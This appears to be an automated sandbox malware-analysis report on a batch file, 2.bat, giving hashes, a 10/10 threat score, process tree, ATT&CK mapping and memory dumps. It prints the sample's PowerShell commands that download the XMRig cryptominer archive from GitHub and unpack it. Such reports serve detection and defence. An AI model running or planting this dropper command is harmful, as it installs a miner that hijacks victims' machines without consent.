c0768ace239b9f133dfbb33d830ff9bf0580b167e2a6b0f015950f7aa2b1f768

Analysis

max time kernel
119s
max time network
124s
platform
windows7_x64
resource
win7-20240221-en
resource tags

arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
submitted
22-05-2024 02:54

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

2.bat
Size

599B
MD5

798b979417aa88e5323ead9be2d8425c
SHA1

a54c5133c71afddf697f302b36bdb930c72852ce
SHA256

f83d724987f9f4a0843c0b0abd01f3f5ceccbc8e7babad76c2639e1bef2fee07
SHA512

a4f2ff598bc26b5ee7778b34b34aafd20e43f714c5f841b9fe73cdc6e1c3e47e44ffb94ff06ccd7dd263116201ff6754c956c1ea8f588acf6927f35446b5036b

Score

10^/10

execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://github.com/xmrig/xmrig/releases/download/v6.21.3/xmrig-6.21.3-msvc-win64.zip

Signatures

Blocklisted process makes network request 2 IoCs

Processes:

powershell.exe

flow pid process

5 2824 powershell.exe
6 2824 powershell.exe
Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Using powershell.exe command.
execution

PowerShell
T1059.001

Processes:

powershell.exepowershell.exe

pid process

2824 powershell.exe
2164 powershell.exe
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exepowershell.exe

pid process

2824 powershell.exe
2164 powershell.exe
Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

powershell.exepowershell.exe

description pid process

Token: SeDebugPrivilege 2824 powershell.exe
Token: SeDebugPrivilege 2164 powershell.exe

flow	pid	process
5	2824	powershell.exe
6	2824	powershell.exe

pid	process
2824	powershell.exe
2164	powershell.exe

pid	process
2824	powershell.exe
2164	powershell.exe

description	pid	process
Token: SeDebugPrivilege	2824	powershell.exe
Token: SeDebugPrivilege	2164	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

Processes:

cmd.exe

description	pid	process	target process
PID 2504 wrote to memory of 2824	2504	cmd.exe	powershell.exe
PID 2504 wrote to memory of 2824	2504	cmd.exe	powershell.exe
PID 2504 wrote to memory of 2824	2504	cmd.exe	powershell.exe
PID 2504 wrote to memory of 2164	2504	cmd.exe	powershell.exe
PID 2504 wrote to memory of 2164	2504	cmd.exe	powershell.exe
PID 2504 wrote to memory of 2164	2504	cmd.exe	powershell.exe

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\2.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2504

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://github.com/xmrig/xmrig/releases/download/v6.21.3/xmrig-6.21.3-msvc-win64.zip', 'xmrig-6.21.3-msvc-win64.zip')"
2⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2824

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -command "Expand-Archive -Path 'xmrig-6.21.3-msvc-win64.zip' -DestinationPath '.'"
2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2164

Network

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Resource Development

Reconnaissance

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
Filesize
7KB

MD5
a724f130db081ad9212ca63a7a200878

SHA1
1db257aa7b66f3c07b8507e035517130625d63c0

SHA256
85dfc80102e78d0a7b943c68f5470f7e2805f6e1f1110b4d1b05a97f97672054

SHA512
23e5077b51ba631a16f039c87789d951b304268d304e6a753cd9a48c332da28d9667e6d28d4587069a3c3ad0d7951c552e8c75010f305a369c18888b7bd89932

Download Submit
memory/2164-17-0x000000001B2D0000-0x000000001B5B2000-memory.dmp

Filesize
2.9MB

Download
memory/2164-18-0x0000000002410000-0x0000000002418000-memory.dmp

Filesize
32KB

Download
memory/2824-4-0x000007FEF53CE000-0x000007FEF53CF000-memory.dmp

Filesize
4KB

Download
memory/2824-5-0x000000001B350000-0x000000001B632000-memory.dmp

Filesize
2.9MB

Download
memory/2824-6-0x0000000001F30000-0x0000000001F38000-memory.dmp

Filesize
32KB

Download
memory/2824-7-0x000007FEF5110000-0x000007FEF5AAD000-memory.dmp

Filesize
9.6MB

Download
memory/2824-8-0x000007FEF5110000-0x000007FEF5AAD000-memory.dmp

Filesize
9.6MB

Download
memory/2824-9-0x000007FEF5110000-0x000007FEF5AAD000-memory.dmp

Filesize
9.6MB

Download
memory/2824-10-0x000007FEF5110000-0x000007FEF5AAD000-memory.dmp

Filesize
9.6MB

Download
memory/2824-11-0x000007FEF5110000-0x000007FEF5AAD000-memory.dmp

Filesize
9.6MB

Download